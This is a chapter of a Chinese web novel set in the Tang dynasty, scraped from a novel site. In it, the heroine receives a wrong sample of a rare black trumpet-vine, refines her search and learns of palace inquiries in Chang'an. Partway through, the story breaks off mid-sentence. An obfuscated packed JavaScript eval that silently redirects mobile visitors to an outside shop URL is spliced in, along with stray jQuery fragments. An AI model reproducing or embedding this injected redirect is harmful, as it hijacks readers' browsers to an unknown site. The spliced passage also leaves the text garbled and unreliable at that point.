文趣网 > 其他小说 > 大唐摸鱼录 > 58.第五十七章 寻花不得
    商队出发那天,沈知闲没有去送。

    不是因为不在意,而是因为她发现自己越在意,越不想把这件事弄得像什么大事。武家本就要往梁州收药,只是在途中多绕一段去青溪,找一个左手少两根手指的胡姓采药人,再问一种颜色极深、花口像喇叭的藤花。事情被压进一条原本就在运转的商路里,表面看起来甚至没有多出多少波澜。

    可人走以后,等待本身便成了另一种麻烦。

    沈知闲以前最讨厌那种“已经交办、暂时无反馈、又不能催得太勤”的工作,因为人在这个阶段什么也做不了,却会隔三差五想起来一次。如今没有消息群,没有电话,没有人能在路上给她发一句“已到青溪,正在联系”,那支商队出了利州以后,就像整件事被直接丢进了地图上的空白地带。

    第一天没有消息很正常。

    第十天也正常。

    一个月没有消息,仍然正常。

    沈知闲只能每天照旧去账房、清竹院,偶尔帮郑管事看一看外庄新送来的账,陪阿蛮抢厨房新蒸的糕,听武照继续研究长安,又时不时在脑子里算一次那支商队大概走到了哪里。

    后来她干脆不算了。

    因为算也没用。

    真正让她觉得时间明显开始往前走的,反而是武家收到的长安消息越来越多。

    前些日子还只是旧人来信和商客传闻,到了十余日后,武元庆那边真的送来了一份名单,虽然并不完整,却列了几户近来被人打听过女儿年岁的勋旧之家,其中有两家和武士彟一样,家中父辈曾受太宗重用。杨氏看过以后没有多说,只让郑管事把名字抄下来,顺便把几家与武氏旧有关系标清。武照在旁边问是不是说明宫中确实在选人,杨氏仍旧只答:“说明风声比以前实了一些,不说明一定轮得到你。”

    这种回答很稳。

    可沈知闲已经能感觉到,府里没人真正把它当普通风声了。

    武顺近来被杨氏叫去的次数更多,原因却和武照不同。她擅长记人,也懂亲眷之间的关系,杨氏让她把多年不来往的几家旧交重新理了一遍,谁和谁有姻亲,谁如今在长安,谁家子弟在什么衙门,全都慢慢补齐。武照看见以后十分不满:“为什么阿姐也要做这些?”

    武顺倒平静:“因为母亲用得上。”

    “你不是还要准备舅家那边的宴?”

    “所以我很忙。”

    武照被堵得没话。

    沈知闲在旁边听着,莫名觉得这场景有点熟悉——真正进入一件大事之前,最先增加的往往不是惊天动地的决策,而是各种不起眼的资料整理、关系确认和临时任务。区别只在于上辈子她面对的是文件夹和表格,现在杨氏面对的是信、口信和人情。

    她原以为自己的黑花线至少可以暂时不和长安线混在一起,直到商队出发一个多月后,郑管事把她叫去西库。

    “东西回来了。”

    沈知闲心里猛地跳了一下。

    “商队?”

    “不是,前面遇到回利州的小队,托人先带回一包东西。”

    郑管事指着桌上一个麻布包。

    沈知闲走过去,动作明显比平常快,等布包打开以后,却停住了。

    里面确实是几段藤。

    已经晒干。

    颜色也很深。

    旁边还有一小包种子。

    可只看第一眼,她就觉得不对。

    藤太粗。

    种子也太大。

    她还是蹲下来仔细看了一遍,甚至把自己藏着的其中一颗黑种子拿出来隔着布比了比,结果更加明显。父亲留下的种子细小、表面近乎哑黑,而眼前这些种子颜色偏褐,个头几乎大了一倍,形状也不同。

    郑管事问:“不是?”

    沈知闲摇头:“应该不是。”

    “还没种,怎么知道?”

    “种子不一样。”

    郑管事拿起来看看,也看不出有什么门道:“那也可能是一类花里不同的种。”

    “有可能。”

    沈知闲没有直接否定,“但不像。”

    她把布包翻到最底下,找到一张随货带回来的简短字条,上面只有几句话,大意是商队已经到过青溪,却没有找到那个胡姓采药人,当地人说他去年冬天以后便很少下山,有人说搬去了女儿家,也有人说进深山采药后一直没回来。商队的人问了几户药农,最后有人带他们去一处旧墙边挖了几株当地所谓的“黑喇叭”,便先取样让人带回利州。

    沈知闲看完,第一反应不是失望,而是去看字条是谁写的。

    郑管事:“你看落款做什么?”

    “想知道是谁问的。”

    “队里副管事,姓严。”

    “他还会继续找?”

    “信上说会再停两日,若找不到人就得继续往梁州,不能因为这一件事耽误整队采买。”

    沈知闲点头:“应该的。”

    她嘴上答得很快,视线却重新落回那几截干藤。

    找错了。

    而且这个错误非常典型。

    “黑喇叭”只是当地俗称,可能根本不指一种植物。颜色深、喇叭形、藤生这些特征,看起来已经够具体,真正到了山里,却仍然可能对应好几种东西。

    她之前其实知道这件事。

    可知道和亲眼看见一包错误样本,感觉完全不同。

    武照得到消息后很快也来了,一进门便先问:“是不是那种花?”

    “不是。”

    “确定?”

    “大概八九成不是。”

    “为什么不是十分?”

    “因为没见过活花。”

    武照低头看了一眼:“那接下来怎么办?”

    沈知闲没有马上回答,而是把字条重新读了一遍。胡采药人找不到,商队只能在当地按描述问,结果拿回一个错误样本。问题已经很清楚:她给出去的信息还是太粗。

    “得把描述改细。”

    “怎么改?”

    “不能只说黑、喇叭、爬藤。”

    沈知闲把父亲留下的那颗种子隔着布放到桌上,“种子大小、颜色、藤有多细,花大概多大,什么时候开,叶子什么样,最好都要写清楚。”

    武照看她:“你知道吗?”

    沈知闲沉默。

    “不全知道。”

    小说里留在她脑子里的只是极少数非常鲜明的画面,她记得黑花,记得像喇叭,记得后来可以远距离传声,却根本没认真记叶形、花期、种子尺寸这种植物学信息。那时候她是个熬夜看小说的读者,不是准备穿越以后做物种检索的人。

    谁看小说会记这个?

    她忽然有点想骂过去的自己。

    但转念一想,又觉得有点不讲道理。过去那个自己如果知道看小说时需要顺便建立灵物数据库,大概会直接把书关了。

    “那怎么找?”

    武照又问。

    “先从现有东西倒推。”

    沈知闲看着桌上那颗种子,“我至少有种子,也有父亲留下过的干藤,只是藤已经丢了。可以先让人带一颗种子去比。”

    郑管事立刻皱眉:“你不是一共只有两颗?”

    “对。”

    “送一颗出去,路上丢了怎么办?”

    沈知闲不说话了。

    这正是问题。

    她只有两颗。

    而且目前完全不知道这东西在真正灵气复苏之前是否还能正常发芽,一旦拿出去,路上丢失、受潮、被人换掉,风险都不低。

    武照看着她:“你舍不得。”

    “不是舍不得,是样本太少。”

    “那画下来。”

    “画不准。”

    “找会画的人照着画。”

    沈知闲愣了一下。

    这个办法其实很简单。

    简单到她之前居然没想到。

    她低头看了看自己那颗黑种子,又看向武照:“可以。”

    武照挑眉:“你怎么没想到?”

    “因为人有时候会把问题想复杂。”

    “你也会?”

    “经常,只是尽量不承认。”

    郑管事被她们两个逗笑,当天下午便真找了府里擅画花鸟的小管事过来,照着种子画了两幅放大的形状,又在旁边标上实际尺寸。至于花和藤,只能由沈知闲凭记忆描述,再结合陈六等人的说法做一个大致草图。

    结果第二个问题马上出现了。

    她记得的花可能根本不是现在的样子。

    灵气复苏以后,植物会发生变化。

    那这种花在复苏前究竟是纯黑、深紫,还是普通紫色?

    花口是否已经那么大?

    藤叶会不会完全不同?

    小说里那个极鲜明的“黑色喇叭花”也许是变异后的形态,而不是它现在的样子。

    沈知闲盯着那张画,忽然发现自己找了这么久,可能从一开始就在用十一年后的特征寻找现在的植物。

    这个念头让她背后微微发凉。

    如果真是这样,那么父亲留下的种子为什么是黑色?

    是本来就这样,还是那两颗种子本身已经出现了先兆变化?

    她没有答案。

    武照看出她神情不对:“又想到什么了?”

    “可能找法从一开始就有问题。”

    “哪里有问题?”

    沈知闲没有办法把真正原因说出来,只能换一种说法:“我听来的样子可能不完整。也许那花并不一定黑得那么明显,或者只有某个时候颜色特别深。”

    武照皱眉:“那范围不是更大了?”

    “对。”

    “所以你找不到,是因为你自己也不知道自己找什么?”

    沈知闲沉默片刻:“这个总结有点伤人,但基本准确。”

    武照笑了一声,很快又认真起来:“那你父亲怎么找到的?”

    这一句反而问住了沈知闲。

    对。

    父亲为什么能找到?

    如果连她这个知道未来的人都只有几个模糊特征,沈父一个普通商人凭什么准确找到这种东西,还留下了种子?

    除非……

    有人告诉过他具体去哪找。

    或者,他根本不是第一次接触。

    沈知闲想起青溪那个左手缺指的胡姓采药人,也想起陈六说过,山里老人提到“以前也有人专门收这种花,还给钱让人挖根晒藤”。

    她慢慢把那张画放下。

    “还是得找到胡采药人。”

    这条线的重要性又上升了一层。

    郑管事却告诉她,短时间内已经没有更多办法。武家商队可以帮她顺路问,却不能在青溪无限停留,严副管事若两日找不到人就会继续上路,最快也要返程时再问一次。下一支同方向商队,则至少还要几个月。

    沈知闲听完只点头。

    武照反而有些替她着急:“就这么等?”

    “不然呢?”

    “再派人。”

    “还是不值。”

    “现在已经确定你父亲去过那里。”

    “所以更值得找,但不等于必须立刻派。”

    武照不理解:“你不急吗?”

    “急。”

    沈知闲把错误样本重新包起来,“但急不能让路变短,也不能让一个不知道去哪的人自己出现。”

    她停了一下,又补充道:“而且这次已经证明,光靠一句描述很容易找错。现在再匆匆派人,只是把错误做得更快。”

    武照没有说话。

    她显然不喜欢这种只能等的感觉。

    沈知闲其实也不喜欢。

    可成年以后她早就知道,有些事不是靠加人、加钱、加时间就一定能立刻推进。信息不足的时候,过度行动甚至比暂时不动更浪费。

    她忽然很怀念搜索框。

    如果青溪镇胡姓采药人左手缺两指放在一个现代数据库里,说不定几秒钟就能出来结果。

    现在她有一个大致地点、一段外貌特征和一条三四年前的关联记录,能做的却只有等下一次有人经过。

    技术差距有时候不是有没有聪明人。

    而是聪明人知道问题以后,有没有办法迅速碰到答案。

    那天晚上,她把错误样本也留下了。

    阿蛮看见以后很兴奋:“找到了?”

    “找错了。”

    “那还留着干什么?”

    “做反例。”

    “反例是什么?”

    “就是以后再有人拿一样的回来,可以直接告诉他不是。”

    阿蛮似懂非懂地点头,然后伸手去碰那几颗褐色种子,被沈知闲拍开:“别乱拿。”

    “又不

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17934447|213682||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    是你要的。”

    “不是也得留。”

    阿蛮盯着她:“你现在连找错的东西都收。”

    “因为找错本身也是消息。”

    “你们识字的人真麻烦。”

    “我同意。”

    阿蛮得到赞同以后很满意,转头去吃自己的胡饼。

    沈知闲则把错误样本、画好的种子图和那张记录青溪线索的纸放到一起,重新整理了一遍。

    青溪——确认存在。

    黑喇叭俗称——确认多人听说,但可能指不同植物。

    胡姓采药人——未找到。

    沈父——确认三四年前曾在青溪附近跟胡姓缺指采药人进山。

    样本——第一次取回,排除。

    下一步——商队返程再访;寻找胡姓采药人;扩大植物描述,不再限定“纯黑”。

    她写到最后一行,忽然有点想笑。

    这已经越来越像一份工作台账了。

    她穿越前最后一个晚上,桌上还有专班的任务清单;穿越以后折腾了一圈,如今坐在唐朝武家一间小屋里,又给一朵还没找到的花建起了问题清单。

    人生有时候不是兜圈子。

    是工作方式追着人跑。

    真正让她意外的,是几天后杨氏把那份错误样本也看了一遍以后,没有嫌他们白折腾,反而问了一句:“既然名字一样却不是同一种,那以后是不是应该让商队把沿路见到的几种都带一点回来?”

    沈知闲抬头。

    杨氏解释:“药材本来就要收,多带几株干藤、几包种子也不占多少地方。既然一时说不清是哪种,与其让他们凭一句话猜,不如带回来让你自己看。”

    沈知闲慢慢反应过来。

    这是另一种搜索方式。

    不知道准确目标,就扩大样本。

    不是派人专门寻找一种几乎没人说得清的花,而是在原有采买网络里增加一个低成本收集项。

    她眼睛微微亮起来:“可以。但最好记一下东西从哪里采的,不然回来以后看中了,也不知道去哪找。”

    杨氏点头:“那就记。”

    武照坐在旁边,忽然笑了一声。

    沈知闲警惕地看她:“二娘子笑什么?”

    “你不是说不想成立什么专门的差事?”

    “没有成立。”

    “现在商队要替你收花、记地点、带种子回来。”

    “顺带。”

    “郑管事要替你保管。”

    “顺带。”

    “画师还给你画了图。”

    “也是顺带。”

    武照看着她:“你所谓的不增加工作,就是把工作一点点塞进别人原来在做的事情里?”

    沈知闲沉默了两息:“这样效率高。”

    杨氏竟然也笑了:“她这点倒没说错。真为了找一朵花专门养几个人,我不会答应;若每支商队不过多看几眼、多带几株,倒没什么。”

    沈知闲顿时觉得得到了组织层面的正式支持。

    她刚准备说这就很好,外面忽然有人进来,说长安又来了信。

    屋里的笑意淡了一些。

    杨氏接过信,看了两页以后没有立刻说话,只把信递给武照。

    沈知闲原本不准备看,可武照读到一半,脸色已经明显变了。

    “谁写的?”

    “你父亲旧日在京中的一位同僚。”

    “他说什么?”

    杨氏看向女儿:“长安近来确实有人奉宫中之意,询问几家勋旧女儿的年岁、相貌和教养。”

    武照捏着信纸:“有武家?”

    “他没有写明。”

    “那为什么特意告诉我们?”

    杨氏沉默片刻:“因为他觉得,可能会有。”

    屋里静了下来。

    沈知闲忽然看向桌上那包找错的黑花。

    一边是父亲留下的线索,终于有了方向,却暂时找不到人。

    另一边是她最想躲开的长安,明明隔着千里,却一步一步越来越近。

    两件事像故意商量好了一样。

    她想追的,离她很远。

    她想躲的,正在靠近。

    这个安排非常不讲道理。

    武照把信放回桌上,过了很久才问:“母亲,如果真的有人来,他们会先做什么?”

    杨氏答得很平静:“大概先看人。”

    “怎么看?”

    “看相貌、言行、规矩,也可能问家世、读书、女红。”

    武照皱起眉:“像挑东西?”

    杨氏没有接这句话。

    沈知闲也没有。

    因为从某种意义上说,确实很像。

    过了一会儿,武照突然转头:“知闲。”

    “嗯?”

    “如果他们真来,你帮我看。”

    “看什么?”

    “看他们问什么,为什么问,想从我这里看出什么。”

    沈知闲愣了一下。

    她原本很想说这不属于她的职责范围。

    可看着武照握着那封信的手,她最终没有拒绝。

    “好。”

    这一次,她甚至没有先谈工作边界。

    武照看了她一眼,也没有笑。

    傍晚时,沈知闲回到自己的小屋,把两颗黑种子重新拿出来看了一遍。

    还是没有任何变化。

    她将其中一颗放在掌心,借着灯仔细看那层哑黑色的外壳,第一次没有再想它究竟什么时候会发芽,而是在想另一个更现实的问题。

    如果长安真的来人,武照很快便可能离开利州。

    而她原先默认自己可以留在武家,借商队慢慢查青溪、慢慢找父亲的计划,也许不会再像从前那么稳定。

    人的计划最怕什么?

    不是做错。

    是外部条件忽然改变。

    沈知闲把种子收好,重新看向纸上那几个字——青溪,胡采药人。

    她原本觉得自己还有很多时间。

    现在却第一次有些不确定了。

    而第二天上午,郑管事便派人来找她。

    不是因为黑花。

    也不是因为庄账。

    那人站在门外,只说了一句话。

    “夫人让你过去,长安来的信里,还夹了一封给武家的家书。”